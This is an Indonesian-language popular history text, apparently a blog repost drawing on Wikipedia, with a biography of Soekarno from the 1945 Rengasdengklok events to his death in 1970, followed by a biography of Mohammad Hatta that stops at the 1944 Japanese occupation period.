Terjadilah Peristiwa Rengasdengklok pada tanggal 16 Agustus 1945, Soekarno dan Mohammad Hatta dinilai oleh banyak orang sebagai pemimpin yang berkompeten pada waktu itu. Mereka dibujuk oleh para pemuda untuk menyingkir ke asrama pasukan Pembela Tanah Air Peta Rengasdengklok. Tokoh pemuda yang membujuk antara lain Soekarni, Wikana, Singgih serta Chairul Saleh. Awalnya mereka dipaksa oleh kelompok-kelompok pemuda untuk tanpa ragu dalam menyatakan kemerdekaan Indonesia – pemuda pada masa itu merasa bahwa kevakuman kekuasaan (Vacuum Of Power) yang disebabkan oleh berita tentang menyerahnya Jepang harus diupayakan sebagai kesempatan emas dalam mendeklarasikan kemerdekaan sebelum sekutu kembali membentuk pemerintahan kolonial di wilayah tersebut. Namun Soekarno, Hatta dan para tokoh menolak – dengan alasan menunggu kejelasan mengenai penyerahan Jepang dan khawatir akan pertumpahan darah dan perang yang akan terjadi atas dasar kecurigaan terhadap orang Indonesia yang memberontak melawan Jepang oleh kekuatan sekutu yang segera akan mengambil kekuasaan mereka kembali. Alasan lain yang berkembang adalah Soekarno menetapkan moment tepat untuk kemerdekaan Republik Indonesia, yakni dipilihnya tanggal 17 Agustus 1945 yang saat itu bertepatan dengan bulan Ramadhan, bulan suci kaum muslim, yang diyakini merupakan bulan turunnya wahyu pertama kaum muslimin kepada Nabi Muhammad SAW, yakni Al Qur-an. Untuk memaksa kebuntuan itu berakhir, ia dan Mohammad Hatta diculik oleh kelompok pemuda Indonesia ke Rengasdengklok, Karawang, tidak jauh dari Jakarta untuk mempersiapkan Kemerdekaan Indonesia. Akhirnya, Soekarno dan Hatta mendeklarasikan kemerdekaan Republik Indonesia pada tanggal 17 Agustus 1945.

Pada tanggal 18 Agustus 1945, Soekarno dan Mohammad Hatta diangkat oleh PPKI menjadi Presiden dan Wakil Presiden Republik Indonesia. Pada tanggal 29 Agustus 1945 pengangkatan menjadi presiden dan wakil presiden dikukuhkan oleh KNIP.Pada tanggal 19 September 1945 kewibawaan Soekarno dapat menyelesaikan tanpa pertumpahan darah peristiwa Lapangan Ikada dimana 200.000 rakyat Jakarta akan bentrok dengan pasukan Jepang yang masih bersenjata lengkap.

Visi Soekarno 1945 untuk konstitusi Indonesia terdiri dari Pancasila (lima prinsip). Filsafat politik Sukarno terutama bersumber dalam unsur Marxisme , Nasionalisme, dan Islam. Hal ini tercermin dalam gagasan Pancasila versinya ia mengusulkan kepada BPUPKI (Badan Penyelidik Usaha Persiapan Kemerdekaan Indonesia), dimana dukungan awal aslinya disepakati bersama dalam sebuah pidato pada 1 Juni 1945 :

1. Kebangsaan Indonesia (Indonesian Nationality), penekanan pada Nasionalisme.
2. Internasionalisme, penekanan tentang kesetaraan dan kemanusiaan.
3. Musyawarah mufakat (Konsensus Permusyawaratan ), penekanan pada demokrasi perwakilan yang tidak memegang dominasi etnis, namun suara yang sama untuk setiap anggota dewan.
4. Kesejahteraan Sosial ( Kesejahteraan Sosial ), dipengaruhi Marxis, penekanan pada Sosialisme Kerakyatan.
5. KeTuhanan Yang Berkebudayaan, Monoteisme

Dalam pidato yang sama, ia berpendapat bahwa semua prinsip-prinsip bangsa dapat diringkas dalam frase gotong royong. Parlemen Indonesia, didirikan atas dasar konstitusi asli ini(dan kemudian direvisi), terbukti semua tapi tak terkendalikan. Hal ini disebabkan adanya perbedaan antara berbagai perbedaan sosial, politik, dan etnis faksi-faksi agama.

Masa Perang Revolusi

PK 5

Pada saat kedatangan Sekutu (AFNEI) yang dipimpin oleh Letjen. Sir Phillip Christison, Christison akhirnya mengakui kedaulatan Indonesia secara de facto setelah mengadakan pertemuan dengan Presiden Soekarno. Presiden Soekarno juga berusaha menyelesaikan krisis di Surabaya. Namun akibat provokasi yang dilancarkan pasukan NICA (Belanda) yang membonceng Sekutu. (dibawah Inggris) meledaklah Peristiwa 10 November 1945 di Surabaya dan gugurnya Brigadir Jendral A.W.S Mallaby.

Karena banyak provokasi di Jakarta pada waktu itu, Presiden Soekarno akhirnya memindahkan Ibukota Republik Indonesia dari Jakarta ke Yogyakarta. Diikuti wakil presiden dan pejabat tinggi negara lainnya.

Kedudukan Presiden Soekarno menurut UUD 1945 adalah kedudukan Presiden selaku kepala pemerintahan dan kepala negara (presidensiil/single executive). Selama revolusi kemerdekaan,sistem pemerintahan berubah menjadi semi-presidensiil/double executive. Presiden Soekarno sebagai Kepala Negara dan Sutan Syahrir sebagai Perdana Menteri/Kepala Pemerintahan. Hal itu terjadi karena adanya maklumat wakil presiden No X, dan maklumat pemerintah bulan November 1945 tentang partai politik. Hal ini ditempuh agar Republik Indonesia dianggap negara yang lebih demokratis.

Meski sistem pemerintahan berubah, pada saat revolusi kemerdekaan, kedudukan Presiden Soekarno tetap paling penting, terutama dalam menghadapi Peristiwa Madiun 1948 serta saat Agresi Militer Belanda II yang menyebabkan Presiden Soekarno, Wakil Presiden Mohammad Hatta dan sejumlah pejabat tinggi negara ditahan Belanda. Meskipun sudah ada Pemerintahan Darurat Republik Indonesia (PDRI) dengan ketua Sjafruddin Prawiranegara, tetapi pada kenyataannya dunia internasional dan situasi dalam negeri tetap mengakui bahwa Soekarno-Hatta adalah pemimpin Indonesia yang sesungguhnya, hanya kebijakannya yang dapat menyelesaikan sengketa Indonesia-Belanda.

Masa kemerdekaan

Setelah Pengakuan Kedaulatan (Pemerintah Belanda menyebutkan sebagai Penyerahan Kedaulatan), Presiden Soekarno diangkat sebagai Presiden Republik Indonesia Serikat (RIS) dan Mohammad Hatta diangkat sebagai perdana menteri RIS. Jabatan Presiden Republik Indonesia diserahkan kepada Mr Assaat, yang kemudian dikenal sebagai RI Jawa-Yogya. Namun karena tuntutan dari seluruh rakyat Indonesia yang ingin kembali ke negara kesatuan, maka pada tanggal 17 Agustus 1950, RIS kembali berubah menjadi Republik Indonesia dan Presiden Soekarno menjadi Presiden RI. Mandat Mr Assaat sebagai pemangku jabatan Presiden RI diserahkan kembali kepada Ir. Soekarno. Resminya kedudukan Presiden Soekarno adalah presiden konstitusional, tetapi pada kenyataannya kebijakan pemerintah dilakukan setelah berkonsultasi dengannya.

Mitos Dwitunggal Soekarno-Hatta cukup populer dan lebih kuat dikalangan rakyat dibandingkan terhadap kepala pemerintahan yakni perdana menteri. Jatuh bangunnya kabinet yang terkenal sebagai “kabinet seumur jagung” membuat Presiden Soekarno kurang mempercayai sistem multipartai, bahkan menyebutnya sebagai “penyakit kepartaian”. Tak jarang, ia juga ikut turun tangan menengahi konflik-konflik di tubuh militer yang juga berimbas pada jatuh bangunnya kabinet. Seperti peristiwa 17 Oktober 1952 dan Peristiwa di kalangan Angkatan Udara.

Presiden Soekarno juga banyak memberikan gagasan-gagasan di dunia Internasional. Keprihatinannya terhadap nasib bangsa Asia-Afrika, masih belum merdeka, belum mempunyai hak untuk menentukan nasibnya sendiri, menyebabkan presiden Soekarno, pada tahun 1955, mengambil inisiatif untuk mengadakan Konferensi Asia-Afrika di Bandung yang menghasilkan Dasa Sila. Bandung dikenal sebagai Ibu Kota Asia-Afrika. Ketimpangan dan konflik akibat “bom waktu” yang ditinggalkan negara-negara barat yang dicap masih mementingkan imperialisme dan kolonialisme, ketimpangan dan kekhawatiran akan munculnya perang nuklir yang merubah peradaban, ketidakadilan badan-badan dunia internasional dalam pemecahan konflik juga menjadi perhatiannya. Bersama Presiden Josip Broz Tito (Yugoslavia), Gamal Abdel Nasser (Mesir), Mohammad Ali Jinnah (Pakistan), U Nu, (Birma) dan Jawaharlal Nehru (India) ia mengadakan Konferensi Asia Afrika yang membuahkan Gerakan Non Blok. Berkat jasanya itu, banyak negara-negara Asia Afrika yang memperoleh kemerdekaannya. Namun sayangnya, masih banyak pula yang mengalami konflik berkepanjangan sampai saat ini karena ketidakadilan dalam pemecahan masalah, yang masih dikuasai negara-negara kuat atau adikuasa. Berkat jasa ini pula, banyak penduduk dari kawasan Asia Afrika yang tidak lupa akan Soekarno bila ingat atau mengenal akan Indonesia.


Guna menjalankan politik luar negeri yang bebas-aktif dalam dunia internasional, Presiden Soekarno mengunjungi berbagai negara dan bertemu dengan pemimpin-pemimpin negara. Di antaranya adalah Nikita Khruschev (Uni Soviet), John Fitzgerald Kennedy (Amerika Serikat), Fidel Castro (Kuba), Mao Tse Tung (RRC).

Kejatuhan

Masa-masa kejatuhan Soekarno dimulai sejak ia “bercerai” dengan Wakil Presiden Moh. Hatta, pada tahun 1956, akibat pengunduran diri Hatta dari kancah perpolitikan Indonesia. Ditambah dengan sejumlah pemberontakan separatis yang terjadi di seluruh pelosok Indonesia, dan puncaknya, pemberontakan G 30 S, membuat Soekarno di dalam masa jabatannya tidak dapat “memenuhi” cita-cita bangsa Indonesia yang makmur dan sejahtera.

Akhir Hayat

Kesehatan Soekarno sudah mulai menurun sejak bulan Agustus 1965. Sebelumnya, ia telah dinyatakan mengidap gangguan ginjal dan pernah menjalani perawatan di Wina, Austria tahun 1961 dan 1964. Ia masih bertahan selama 5 tahun sebelum akhirnya meninggal pada hari Minggu, 21 Juni 1970 di RSPAD (Rumah Sakit Pusat Angkatan Darat) Gatot Subroto, Jakarta dengan status sebagai tahanan politik oleh penggantinya Soeharto.
Jenazah Soekarno pun dipindahkan dari RSPAD ke Wisma Yasso yang dimiliki oleh Ratna Sari Dewi. Sebelum dinyatakan wafat, pemeriksaan rutin terhadap Soekarno sempat dilakukan oleh Dokter Mahar Mardjono yang merupakan anggota tim dokter kepresidenan. Tidak lama kemudian dikeluarkanlah komunike medis yang ditandatangani oleh Ketua Prof. Dr. Mahar Mardjono beserta Wakil Ketua Mayor Jenderal Dr. (TNI AD) Rubiono Kertopati.

Komunike medis tersebut menyatakan hal sebagai berikut:

1. Pada hari Sabtu tanggal 20 Juni 1970 jam 20.30 keadaan kesehatan Ir. Soekarno semakin memburuk dan kesadaran berangsur-angsur menurun.
2. Tanggal 21 Juni 1970 jam 03.50 pagi, Ir. Soekarno dalam keadaan tidak sadar dan kemudian pada jam 07.00 Ir. Soekarno meninggal dunia.
3. Tim dokter secara terus-menerus berusaha mengatasi keadaan kritis Ir. Soekarno hingga saat meninggalnya.

Walaupun Sekarno pernah meminta agar dirinya dimakamkan di Istana Batu Tulis, Bogor namun pihak militer memilih Kota Blitar, Jawa Timur, yang merupakan kota kelahirannya, sebagai tempat pemakaman Soekarno.

Ir. Soekarno
Soekarno

Masa jabatan
17 Agustus 194512 Maret 1967(21 tahun)
Wakil Presiden Mohammad Hatta (1945)
Pendahulu Tidak ada, jabatan baru
Pengganti Soeharto

Lahir 6 Juni 1901
Flag of the Netherlands.svg Surabaya, Jawa Timur, Hindia Belanda
Meninggal 21 Juni 1970 (umur 69)
Flag of Indonesia.svg Jakarta, Indonesia
Kebangsaan Indonesia
Partai politik PNI
Suami/Istri Oetari (1921-1923)
Inggit Garnasih (1923-1943)
Fatmawati (1943-1956)
Hartini (1952-1970)
Kartini Manoppo (1959-1968)
Ratna Sari Dewi (1962-1970)
Haryati (1963-1966)
Yurike Sanger (1964-1968)
Kartini Manoppo
Heldy Djafar (1966-1969)
Anak Guntur Soekarnoputra
Megawati Soekarnoputri
Rachmawati Soekarnoputri
Sukmawati Soekarnoputri
Guruh Soekarnoputra (dari Fatmawati)
Taufan Soekarnoputra
Bayu Soekarnoputra (dari Hartini)
Totok Suryawan (dari Kartini Manoppo)
Kartika Sari Dewi Soekarno (dari Ratna Sari Dewi)
Profesi Insinyur
Politikus
Agama Islam
Tanda tangan Soekarno's  signature

Sumber : Wikipedia©
Created By….
viets jeremy

Biografi Mohammad Hatta

Drs. Mohammad Hatta (populer sebagai Bung Hatta, lahir di Bukittinggi, Sumatera Barat, 12 Agustus 1902 – meninggal di Jakarta, 14 Maret 1980 pada usia 77 tahun) adalah pejuang, negarawan, dan juga Wakil Presiden Indonesia pertama. Ia mundur dari jabatan wakil presiden pada tahun 1956, karena berselisih dengan Presiden Soekarno. Hatta dikenal sebagai Bapak Koperasi Indonesia. Bandar udara internasional Jakarta menggunakan namanya sebagai penghormatan terhadap jasanya sebagai salah seorang proklamator kemerdekaan Indonesia.

Nama yang diberikan oleh orangtuanya ketika dilahirkan adalah Muhammad Athar. Anak perempuannya bernama Meutia Hatta menjabat sebagai Menteri Negara Pemberdayaan Perempuan dalam Kabinet Indonesia Bersatu pimpinan Presiden Susilo Bambang Yudhoyono. Ia dimakamkan di Tanah Kusir, Jakarta.

Latar Belakang

Hatta lahir dari keluarga ulama Minangkabau, Sumatera Barat. Bukittinggi, di kota kecil yang indah inilah tempat Bung Hatta dibesarkan di lingkungan keluarga ibunya. Ayahnya, Haji Mohammad Djamil, meninggal ketika Hatta berusia delapan bulan. Dari ibunya, Hatta memiliki enam saudara perempuan. Ia adalah anak laki-laki satu-satunya.

Ia menempuh pendidikan dasar di Sekolah Melayu, Bukittinggi, dan pada tahun 1913-1916 melanjutkan studinya ke Europeesche Lagere School (ELS) di Padang. Saat usia 13 tahun, sebenarnya ia telah lulus ujian masuk ke Hoogere Burger School (HBS, setingkat SMA) di Batavia (kini Jakarta), namun ibunya menginginkan Hatta agar tetap di Padang dahulu, mengingat usianya yang masih muda, 15 tahun, akhirnya Bung Hatta melanjutkan studi ke Meer Uitgebereid Lagere Onderewijs (MULO) di Padang dan menjadi bendahara Jong Sumatranen Bond (JSB) Cabang Padang.

Pada tahun 1919, ketika ia melanjutkan studinya ke Sekolah Tinggi Dagang “Prins Hendrik School”, Batavia, ia pun aktif di Jong Sumatranen Bond Pusat sebagai Bendahara. Ia menyelesaikan studinya dengan hasil sangat baik kala itu.

Pada tahun 1921, Bung Hatta pergi ke Rotterdam, Belanda, untuk belajar ilmu perdagangan/bisnis di Nederland Handelshogeschool (bahasa inggris: Rotterdam School of Commerce, kini menjadi Universitas Erasmus). Ia bergabung dalam Perhimpunan Hindia (Indische Vereeniging).

Tahun 1922, perkumpulan ini berganti nama menjadi Indonesische Vereniging. Perkumpulan yang menolak bekerja sama dengan Belanda itu kemudian berganti nama lagi menjadi Perhimpunan Indonesia (PI) pada tahun 1925.

Hatta lulus dalam ujian handels economie (ekonomi perdagangan) pada tahun 1923. Ia non-aktif dalam PI pada tahun 1924 untuk menempuh ujian doctoral di bidang ilmu ekonomi pada akhir tahun 1925. Tetapi waktu itu dibuka jurusan baru, yaitu hukum negara dan hukum administratif. Hatta pun memasuki jurusan itu terdorong oleh minatnya yang besar di bidang politik. Akhirnya pada tanggal 17 Januari 1926, ia terpilih menjadi Ketua PI.

Pada tangal 27 November 1956, Bung Hatta memperoleh gelar kehormatan akademis yaitu Doctor Honoris Causa dalam Ilmu Hukum dari Universitas Gadjah Mada di Yogyakarta. Pidato pengukuhannya berjudul “Lampau dan Datang”.

Perjuangan dan Pergerakan

Saat berusia 15 tahun, ketika studi di MULO, ia telah tertarik pada pergerakan. Pada tahun 1916, timbul perkumpulan-perkumpulan pemuda seperti Jong Java, Jong Sumatranen Bond, Jong Minahasa, dan Jong Ambon. Hatta masuk ke perkumpulan Jong Sumatranen Bond. Lalu ia merintis karier menjadi aktivis organisasi tersebut, sebagai bendahara Jong Sumatranen Bond (JSB) Cabang Padang. Sebagai seorang bendahara Jong Sumatranen Bond, ia menyadari begitu pentingnya arti keuangan bagi berlangsung hidupnya sebuah perkumpulan. Tetapi sumber keuangan baik dari iuran anggota maupun dari sumbangan luar hanya mungkin lancar kalau para anggotanya mempunyai rasa tanggung jawab dan disiplin. Rasa tanggung jawab dan disiplin selanjutnya menjadi ciri khas sifat-sifat Mohammad Hatta. Di kota ini Hatta mulai menimbun pengetahuan perihal perkembangan masyarakat dan politik, salah satunya lewat membaca berbagai koran, bukan saja koran terbitan Padang tetapi juga Batavia. Lewat itulah Hatta mengenal pemikiran Tjokroaminoto dalam surat kabar Utusan Hindia, dan Agus Salim dalam Neratja.

Kesadaran politik Hatta makin berkembang karena kebiasaannya menghadiri ceramah-ceramah atau pertemuan-pertemuan politik. Salah seorang tokoh politik yang menjadi idola Hatta ketika itu ialah Abdul Moeis. “Aku kagum melihat cara Abdul Moeis berpidato, aku asyik mendengarkan suaranya yang merdu setengah parau, terpesona oleh ayun katanya. Sampai saat itu aku belum pernah mendengarkan pidato yang begitu hebat, menarik perhatian, dan membakar semangat,” aku Hatta dalam Memoir-nya. Itulah Abdul Moeis: pengarang roman Salah Asuhan; aktivis partai Sarekat Islam; anggota Volksraad; dan pegiat dalam majalah Hindia Sarekat, koran Kaoem Moeda, Neratja, Hindia Baroe, serta Utusan Melayu dan Peroebahan.

Pada usia 17 tahun, Hatta lulus dari sekolah tingkat menengah (MULO). Lantas ia bertolak ke Batavia untuk melanjutkan studi di Sekolah Tinggi Dagang Prins Hendrik School. Di sini, Hatta mulai aktif menulis. Karangannya dimuat dalam majalah Jong Sumatera, “Namaku Hindania!” begitulah judulnya. Berkisah perihal janda cantik dan kaya yang terbujuk kawin lagi. Setelah ditinggal mati suaminya, Brahmana dari Hindustan, datanglah musafir dari Barat bernama Wolandia, yang kemudian meminangnya. “Tapi Wolandia terlalu miskin sehingga lebih mencintai hartaku daripada diriku dan menyia-nyiakan anak-anakku,” rutuk Hatta lewat Hindania.

Pemuda Hatta semakin tajam pemikirannya karena diasah dengan beragam bacaan, pengalaman sebagai Bendahara JSB Pusat, perbincangan dengan tokoh-tokoh pergerakan asal Minangkabau yang bermukim di Batavia, serta diskusi dengan temannya sesama anggota JSB: Bahder Djohan. Saban Sabtu, ia dan Bahder Djohan punya kebiasaan keliling kota. Selama berkeliling kota, mereka bertukar pikiran tentang berbagai hal mengenai tanah air. Pokok soal yang kerap pula mereka perbincangkan ialah perihal memajukan bahasa Melayu. Untuk itu, menurut Bahder Djohan perlu diadakan suatu majalah. Majalah dalam rencana Bahder Djohan itupun sudah ia beri nama Malaya. Antara mereka berdua sempat ada pembagian pekerjaan. Bahder Djohan akan mengutamakan perhatiannya pada persiapan redaksi majalah, sedangkan Hatta pada soal organisasi dan pembiayaan penerbitan. Namun, “Karena berbagai hal cita-cita kami itu tak dapat diteruskan,” kenang Hatta lagi dalam Memoir-nya. Selama menjabat Bendahara JSB Pusat, Hatta juga menjalin kerjasama dengan percetakan surat kabar Neratja.

Masa Studi di Belanda

Semenjak September 1921, Hatta bertolak ke Belanda. Hubungannya itu terus berlanjut meski berada di Rotterdam, ia dipercaya sebagai koresponden. Suatu ketika pada medio tahun 1922, terjadi peristiwa yang mengemparkan Eropa, Turki yang dipandang sebagai kerajaan yang sedang runtuh (the sick man of Europe) memukul mundur tentara Yunani yang dijagokan oleh Inggris. Rentetan peristiwa itu Hatta pantau lalu ia tulis menjadi serial tulisan untuk Neratja di Batavia. Serial tulisan Hatta itu menyedot perhatian khalayak pembaca, bahkan banyak surat kabar di tanah air yang mengutip tulisan-tulisan Hatta. Ia pun bergabung dalam Perhimpunan Hindia (Indische Vereeniging). Saat itu, telah tersedia iklim pergerakan di Indische Vereeniging. Sebelumnya, Indische Vereeniging yang berdiri pada 1908 tak lebih dari ajang pertemuan pelajar asal tanah air. Atmosfer pergerakan mulai mewarnai Indische Vereeniging semenjak tibanya tiga tokoh Indische Partij (Suwardi Suryaningrat, Douwes Dekker, dan Tjipto Mangunkusumo) di Belanda pada 1913 sebagai orang buangan (eksterniran) akibat kritik mereka lewat tulisan-tulisan tajam anti-pemerintah mereka di koran De Expres. Kondisi itu tercipta, tak lepas karena Suwardi Suryaningrat (Ki Hadjar Dewantara) menginisiasi penerbitan majalah Hindia Poetra oleh Indische Vereeniging mulai 1916. Hindia Poetra bersemboyan “Ma’moerlah Tanah Hindia! Kekallah Anak-Rakjatnya!” berisi informasi bagi para pelajar asal tanah air perihal kondisi di Nusantara, tak ketinggalan pula tersisip kritik terhadap sikap kolonial Belanda.

Di Indische Vereeniging, pergerakan putra Minangkabau ini tak lagi tersekat oleh ikatan kedaerahan. Sebab Indische Vereeniging berisi aktivis dari beragam latar belakang asal daerah. Lagipula, nama Indische –meski masih bermasalah– sudah mencerminkan kesatuan wilayah, yakni gugusan kepulauan di Nusantara yang secara politis diikat oleh sistem kolonialisme belanda. Dari sanalah mereka semua berasal.

Hatta mengawali karier pergerakannya di Indische Vereeniging pada 1922, lagi-lagi sebagai Bendahara. Penunjukkan itu berlangsung pada 19 Februari 1922, ketika terjadi pergantian pengurus Indische Vereeniging. Ketua lama dr. Soetomo diganti oleh Hermen Kartawisastra. Momentum suksesi kala itu punya arti penting bagi mereka di masa mendatang, sebab ketika itulah mereka memutuskan untuk mengganti nama Indische Vereeniging menjadi Indonesische Vereeniging dan kelanjutannya mengganti nama Nederland Indie menjadi Indonesia. Sebuah pilihan nama bangsa yang sarat bermuatan politik. Dalam forum itu pula, salah seorang anggota Indonesische Vereeniging mengatakan bahwa dari sekarang kita mulai membangun Indonesia dan meniadakan Hindia atau Nederland Indie.

Perkumpulan yang menolak bekerja sama dengan Belanda itu kemudian berganti nama lagi di tahun 1925 menjadi Perhimpunan Indonesia (PI). Hatta juga mengusahakan agar majalah perkumpulan, Hindia Poetra, terbit secara teratur sebagai dasar pengikat antar anggota. Pada tahun 1924 majalah ini berganti nama menjadi Indonesia Merdeka.

Hatta lulus dalam ujian handels economie (ekonomi perdagangan) pada tahun 1923. Semula dia bermaksud menempuh ujian doctoral di bidang ilmu ekonomi pada akhir tahun 1925. Karena itu pada tahun 1924 dia non-aktif dalam PI. Tetapi waktu itu dibuka jurusan baru, yaitu hukum negara dan hukum administratif. Hatta pun memasuki jurusan itu terdorong oleh minatnya yang besar di bidang politik. Perpanjangan rencana studinya itu memungkinkan Hatta terpilih menjadi Ketua PI pada tanggal 17 Januari 1926. Di kesempatan itu, ia mengucapkan pidato inaugurasi yang berjudul “Economische Wereldbouw en Machtstegenstellingen”–Struktur Ekonomi Dunia dan Pertentangan kekuasaan. Dia mencoba menganalisis struktur ekonomi dunia dan berdasarkan itu, menunjuk landasan kebijaksanaan non-kooperatif. Hatta menjadi Voorzitter (Ketua) PI terlama yaitu sejak awal tahun 1926 hingga 1930, sebelumnya setiap ketua hanya menjabat selama setahun. Perhimpunan Indonesia tidak mempunyai cabang di Indonesia, akan tetapi mempunyai hubungan erat dengan dengan orang-orang sehaluan. Di bawah kepemimpinannya, PI berkembang dari perkumpulan mahasiswa biasa menjadi organisasi politik yang mempengaruhi jalannya politik rakyat di Indonesia. Sehingga akhirnya diakui oleh Pemufakatan Perhimpunan Politik Kebangsaan Indonesia (PPPI) PI sebagai pos depan dari pergerakan nasional yang berada di Eropa. Perhimpunan Indonesia kemudian menggalakkan secara terencana propaganda tentang Perhimpunan Indonesia ke luar negeri Belanda. Hampir setiap kongres intemasional di Eropa dimasukinya, dan menerima perkumpulan ini. Selama itu, hampir selalu Hatta sendiri yang memimpin delegasi.

Pada tahun 1926, dengan tujuan memperkenalkan nama “Indonesia”, Hatta memimpin delegasi ke Kongres Demokrasi Intemasional untuk Perdamaian di Bierville, Prancis. Tanpa banyak oposisi, “Indonesia” secara resmi diakui oleh kongres. Nama “Indonesia” untuk menyebutkan wilayah Hindia Belanda ketika itu telah benar-benar dikenal kalangan organisasi-organisasi internasional.

Pada tahun 1927, Hatta bergabung dengan Liga Menentang Imperialisme dan Penindasan Kolonialisme, suatu kongres internasional yang diadakan di Brussels tanggal 10-15 Pebruari 1927. Di kongres ini Hatta berkenalan dengan pemimpin-pemimpin pergerakan buruh seperti G. Ledebour dan Edo Fimmen, serta tokoh-tokoh yang kemudian menjadi negarawan-negarawan di Asia dan Afrika seperti Jawaharlal Nehru (India), Hafiz Ramadhan Bey (Mesir), dan Senghor (Afrika). Persahabatan pribadinya dengan Nehru mulai dirintis sejak saat itu. Pada tahun 1927 itu pula, Hatta dan Nehru diundang untuk memberikan ceramah bagi “Liga Wanita Internasional untuk Perdamaian dan Kebebasan” di Gland, Swiss. Judul ceramah Hatta L ‘Indonesie et son Probleme de I’ Independence (Indonesia dan Persoalan Kemerdekaan).

Aktivitasnya dalam organisasi ini menyebabkan Hatta ditangkap di Den Haag dan dibawa ke penjara Casiusstraat oleh pemerintah Belanda beserta rekannya yang lain, yaitu: Abdul Madjid Djojoadiningrat, Ali Sastroamidjojo, dan Nazir St. Pamuntjak selama lima setengah bulan. Dalam sidang mahkamah pengadilan di Den Haag, 22 Maret 1928, Hatta mengatakan, PI menjalankan daya upaya dalam menguatkan eenheidgedachte bagi seluruh Bangsa Indonesia. Dengan kata lain, semangat persatuan dan kesatuan Bangsa Indonesia itu sudah dimulai oleh para mahasiswa di negeri seberang laut tersebut. Ia menegaskan kembali konflik kepentingan antara negara penjajah dan daerah jajahan. Karena Pidato pembelaan Hatta yang mengagumkan tersebut, akhirnya ia dibebaskan beserta ketiga rekannya dari segala tuduhan, dan pidato pembelaannya itu terkenal dengan: Indonesia Free, yang kemudian diterbitkan sebagai brosur dengan nama “Indonesia Vrij”, selanjutnya diterjemahkan ke dalam Bahasa Indonesia sebagai buku dengan judul “Indonesia Merdeka”.

Antara tahun 1930-1931, Hatta memusatkan diri kepada studinya serta penulisan karangan untuk majalah Daulat Ra‘jat dan kadang-kadang De Socialist. Ia merencanakan untuk mengakhiri studinya pada pertengahan tahun 1932.

Kembali ke Tanah Air

Pada bulan Juli 1932 Hatta berhasil menyelesaikan studinya di Belanda dan sebulan kemudian ia tiba di Jakarta dan bergabung dengan organisasi Club Pendidikan Nasional Indonesia yang bertujuan meningkatkan kesadaran politik rakyat Indonesia melalui proses pelatihan-pelatihan. Antara akhir tahun 1932 dan 1933, kesibukan utama Hatta adalah menulis berbagai artikel politik dan ekonomi untuk Daulat Ra’jat dan melakukan berbagai kegiatan politik, terutama pendidikan kader-kader politik pada Partai Pendidikan Nasional Indonesia. Prinsip non-kooperasi selalu ditekankan kepada kader-kadernya.

Reaksi Hatta yang keras terhadap sikap Soekarno sehubungan dengan penahannya oleh Pemerintah Kolonial Belanda, yang berakhir dengan pembuangan Soekarno ke Ende, Flores, terlihat pada tulisan-tulisannya di Daulat Ra’jat, yang berjudul “Soekarno Ditahan” (10 Agustus 1933), “Tragedi Soekarno” (30 Nopember 1933), dan “Sikap Pemimpin” (10 Desember 1933). Setelah Soekarno dibuang ke Ende, Belanda mengalihkan perhatiannya kepada Partai Pendidikan Nasional Indonesia. Para pimpinan Partai Pendidikan Nasional Indonesia ditahan dan kemudian dibuang ke Boven Digoel pada bulan Februari 1934. Seluruhnya berjumlah tujuh orang, dari kantor Jakarta adalah Mohammad Hatta, Bondan, bersama Soetan Sjahrir, ketua Partai Pendidikan Nasional Indonesia, dari kantor Bandung: Maskun Sumadiredja, Burhanuddin, Soeka, dan Murwoto. Sebelum ke Digoel, mereka dipenjara selama hampir setahun di penjara Glodok dan Cipinang, Jakarta. Di penjara Glodok, Hatta menulis buku berjudul “Krisis Ekonomi dan Kapitalisme”. Setelah ke Digul, Hatta kemudian diasingkan ke Banda selama 6 tahun.

Masa Pembuangan

Pada bulan Januari 1935, Hatta dan kawan-kawannya tiba di Tanah Merah, Boven Digoel (Papua). Kepala pemerintahan di sana, Kapten van Langen, menawarkan dua pilihan: bekerja untuk pemerintahan kolonial dengan upah 40 sen sehari dengan harapan nanti akan dikirim pulang ke daerah asal, atau menjadi buangan dengan menerima bahan makanan in natura, dengan tiada harapan akan dipulangkan ke daerah asal. Hatta menjawab, bila dia mau bekerja untuk pemerintah kolonial waktu dia masih di Jakarta, pasti telah menjadi orang besar dengan gaji besar pula. Maka tak perlulah dia ke Tanah Merah untuk menjadi kuli dengan gaji 40 sen sehari.

Dalam pembuangan, Hatta secara teratur menulis artikel-artikel untuk surat kabar Pemandangan. Honorariumnya cukup untuk biaya hidup di Tanah Merah dan dia dapat pula membantu kawan-kawannya. Rumahnya di Digoel dipenuhi oleh buku-bukunya yang khusus dibawa dari Jakarta sebanyak 16 peti. Dengan demikian, Hatta mempunyai cukup banyak bahan untuk memberikan pelajaran kepada kawan-kawannya di pembuangan mengenai ilmu ekonomi, sejarah, dan filsafat. Kumpulan bahan-bahan pelajaran itu di kemudian hari dibukukan dengan judul-judul antara lain, “Pengantar ke Jalan llmu dan Pengetahuan” dan “Alam Pikiran Yunani.” (empat jilid).

Pada bulan Desember 1935, Kapten Wiarda, pengganti van Langen, memberitahukan bahwa tempat pembuangan Hatta dan Sjahrir dipindah ke Bandaneira. Pada Januari 1936 keduanya berangkat ke Bandaneira. Mereka bertemu Dr. Tjipto Mangunkusumo dan Mr. Iwa Kusumasumantri. Di Bandaneira, Hatta dan Sjahrir dapat bergaul bebas dengan penduduk setempat dan memberi pelajaran kepada anak-anak setempat dalam bidang sejarah, tatabuku, politik, dan lain-Iain.

Kembali Ke Jawa – Masa Pendudukan Jepang

Pada tanggal 3 Pebruari 1942, Hatta dan Sjahrir dibawa ke Sukabumi. Pada tanggal 9 Maret 1942, Pemerintah Hindia Belanda menyerah kepada Jepang, dan pada tanggal 22 Maret 1942 Hatta dan Sjahrir dibawa ke Jakarta.

Pada masa pendudukan Jepang, Hatta diminta untuk bekerja sama sebagai penasehat. Hatta mengatakan tentang cita-cita bangsa Indonesia untuk merdeka, dan dia bertanya, apakah Jepang akan menjajah Indonesia? Kepala pemerintahan harian sementara, Mayor Jenderal Harada. menjawab bahwa Jepang tidak akan menjajah. Namun Hatta mengetahui, bahwa Kemerdekaan Indonesia dalam pemahaman Jepang berbeda dengan pengertiannya sendiri. Pengakuan Indonesia Merdeka oleh Jepang perlu bagi Hatta sebagai senjata terhadap Sekutu kelak. Bila Jepang yang fasis itu mau mengakui, apakah sekutu yang demokratis tidak akan mau? Karena itulah maka Jepang selalu didesaknya untuk memberi pengakuan tersebut, yang baru diperoleh pada bulan September 1944.

